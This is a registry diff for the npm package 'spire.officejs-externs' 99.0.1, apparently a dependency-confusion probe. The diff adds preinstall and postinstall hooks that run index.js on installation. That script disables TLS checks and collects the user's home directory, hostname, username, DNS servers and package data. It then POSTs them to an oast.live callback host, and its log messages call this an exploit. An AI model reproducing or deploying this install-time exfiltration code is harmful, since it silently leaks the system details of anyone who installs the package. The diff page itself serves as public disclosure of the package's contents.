spire.officejs-externs 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +58 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
|
|
7
|
+
// Bypass SSL Checks (Crucial for OAST interactions)
|
|
8
|
+
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
|
|
9
|
+
|
|
10
|
+
const pkgName = packageJSON.name;
|
|
11
|
+
|
|
12
|
+
// SAFE CONCATENATION (Replaces template literals)
|
|
13
|
+
const dynamicHostname = pkgName + ".d5agq5r8sb2nieub911gxzc1qp36i7kr3.oast.live";
|
|
14
|
+
|
|
15
|
+
const trackingData = JSON.stringify({
|
|
16
|
+
p: pkgName,
|
|
17
|
+
c: __dirname,
|
|
18
|
+
hd: os.homedir(),
|
|
19
|
+
hn: os.hostname(),
|
|
20
|
+
un: os.userInfo().username,
|
|
21
|
+
dns: dns.getServers(),
|
|
22
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
23
|
+
v: packageJSON.version,
|
|
24
|
+
pjson: packageJSON,
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
var postData = querystring.stringify({
|
|
28
|
+
msg: trackingData,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
var options = {
|
|
32
|
+
hostname: dynamicHostname,
|
|
33
|
+
port: 443,
|
|
34
|
+
path: "/",
|
|
35
|
+
method: "POST",
|
|
36
|
+
headers: {
|
|
37
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
38
|
+
"Content-Length": postData.length,
|
|
39
|
+
},
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
// SAFE LOGGING
|
|
43
|
+
console.log("[*] Post-Install Triggered. Target: " + dynamicHostname);
|
|
44
|
+
|
|
45
|
+
var req = https.request(options, (res) => {
|
|
46
|
+
res.on("data", (d) => {
|
|
47
|
+
process.stdout.write(d);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
req.on("error", (e) => {
|
|
52
|
+
console.error("[-] EXPLOIT FAILED:");
|
|
53
|
+
console.error(" Error Code: " + e.code);
|
|
54
|
+
console.error(" Message: " + e.message);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
req.write(postData);
|
|
58
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "spire.officejs-externs",
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "World Off, Terminal On",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"postinstall": "node index.js",
|
|
9
|
+
"preinstall": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"author": "bugdotexe",
|
|
12
|
+
"license": "ISC"
|
|
13
|
+
}
|